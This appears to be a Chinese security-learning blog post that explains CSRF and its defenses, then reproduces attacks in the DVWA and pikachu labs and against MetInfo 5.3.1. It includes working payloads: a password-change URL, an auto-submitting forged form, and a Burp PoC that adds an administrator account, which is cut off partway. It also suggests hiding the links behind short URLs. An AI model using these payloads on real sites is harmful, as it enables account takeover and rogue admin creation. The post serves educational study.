CSRF攻击原理及防御和相关漏洞复现

文章目录

CSRF攻击原理及防御和相关漏洞复现

CSRF(Cross-site request forgery)跨站请求伪造,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

在这里插入图片描述

CSRF攻击原理及过程:

过程

1.用户打开浏览器,访问受信任银行网站,输入用户名密码请求登陆网站
2.在用户信息通过验证后,银行产生Cookie信息并返回给浏览器,此时用户登陆网站成功,可以正常发送请求到网站。
3.用户未退出银行网站之前,在同一浏览器中,打开一个tab页访问其他网站B
4.这个时候网站B已被黑客注入诱导信息,加入的是一张图片,图片地址指向src=”http://bank.example/withdraw?account=bob&amount=1000000&for=黑客点击之后转账给黑客这个账户
5.浏览器在接收到这些攻击性代码请求后。根据网站B的请求,在用户不知情的情况下携带Cookie信息,根据用户的Cookie信息以C的权限处理该请求,导致来自黑客请求恶意代码被执行

原理:

攻击者盗用你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息、盗取你的账号、添加系统管理员、甚至于购买商品、虚拟货币转账等。

CSRF防御

1.验证HTTP referer字段

根据HTTP协议,在HTTP头中有一个字段叫referer,它记录了该HTTP请求的来源地址。
验证referer

也就是说,服务器会验证客户端的请求来源,如果本网站请求的则响应,否则不响应。

但是即使这样,验证 HTTP Referer 字段 这种方式也存在安全隐患

1.对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值
2.用户自己可以设置浏览器使其在发送请求时不再提供 Referer

2.加验证码验证

但这种方式涉及到页面交互,在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。

token

过程:
1.用户访问某个表单页面
2.服务端生成一个token,放在用户的session中,或者浏览器的Cookie中
3.在页面表单附带上token参数
4.用户提交请求后,服务端验证表单中的token是否有与用户session或Cookies中的token一致,一致为合法请求,不是则非法请求。
在这里插入图片描述
这个Token的值必须是随机的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

DVWA靶机

Low

没有任何验证,所以直接将连接使用短连接生成器生成短链。

http://10.4.192.139/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
在这里插入图片描述

源码:

在这里插入图片描述

Medium

源码:

在这里插入图片描述

查看源码,发现使用referer与主机名进行判断,所以,使用之前的短链,会出现That request didn't look correct.

在这里插入图片描述

所以使用burpsuite进行抓包,添加referer

在这里插入图片描述

密码修改成功

在这里插入图片描述

另一种解法

创建一个表单,诱导用户点击
表单源码
<!-- //http://10.4.192.139/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change# -->

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
	</head>
	<body>
		<form action="http://10.4.192.139/DVWA/vulnerabilities/csrf/" method="GET">
			<input type="password" AUTOCOMPLETE="off" name="password_new" value="azb123"><br />
			<input type="password" AUTOCOMPLETE="off" name="password_conf" value="azb123"><br />
			<input type="submit" value="Change" name="Change">
		</form>
	</body>
</html>
效果图

在这里插入图片描述

点击之后显示修改

在这里插入图片描述

High

源码:

在这里插入图片描述

token是使用get请求发送的,所以使用burpsuite的插件

在这里插入图片描述

设置CSRF token插件

在这里插入图片描述

然后代理抓包,抓到后放入repeater

发现每次都可以修改
在这里插入图片描述

pikachu平台CSRF

CSRF(get)

在这里插入图片描述
太简单不说了,请求页面http://10.4.192.139/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit就OK了,然后可以伪装成短链

CSRF(post)

因为是post请求,所以使用构造表单的方式。

构造表单源码

<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script>
			window.onload = function(){
     
				document.getElementById('postsubmit').click();
			}
		</script>
	</head>
	<body>
		<form action="http://10.4.192.139/pikachu/vul/csrf/csrfpost/csrf_post_edit.php " method="post">
		   <p class="per_name">姓名:vince</p>
		   <p class="per_sex">性别:<input type="text" name="sex" value="hhhh"></p>
		   <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="13333334444"></p>    
		   <p class="per_add">住址:<input class="add" type="text" name="add" value="chain"></p> 
		   <p class="per_email">邮箱:<input class="email" type="text" name="email" value="vince@pikachu.com"></p> 
		   <input class="sub" type="submit" name="submit" id="postsubmit" value="submit">
		</form>
	</body>
</html>	

在这里插入图片描述
在这里插入图片描述

CSRF(token)

上才艺

get请求加上了token,好了,这个和前面DVWA的High难度是一样的使用burpsuite的CSRF token Tracker
在这里插入图片描述

MetInfo5.3.1CSRF漏洞

进入后台页面

在这里插入图片描述

查看框架源代码

在这里插入图片描述

尝试添加管理员使用burpsuite进行抓包

在这里插入图片描述

Burpsuite抓到请求包

在这里插入图片描述

将其发送到repeater,使用CSRF poc

在这里插入图片描述

在这里插入图片描述

copy html代码,将其放在同源目录下

 <html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.43.61/MetInfo/admin/admin/save.php?action=add&lang=cn&anyid=47" method="POST">
      <input type="hidden" name="useid" value="csrf&#95;poc" />
      <input type="hidden" name="pass1" value="azb123" />
      <input type="hidden" name="pass2" value="azb123" />
      <input type="hidden" name="name" value="csrf" />
      <input type="hidden" name="sex" value="0" />
      <input type="hidden" name="tel" value="1234568" />
      <input type="hidden" name="mobile" value="13912345678" />
      <input type="hidden" name="email" value="123456&#64;qq&#46;com" />
      <input type="hidden" name=
  • 6
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

南岸青栀*

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值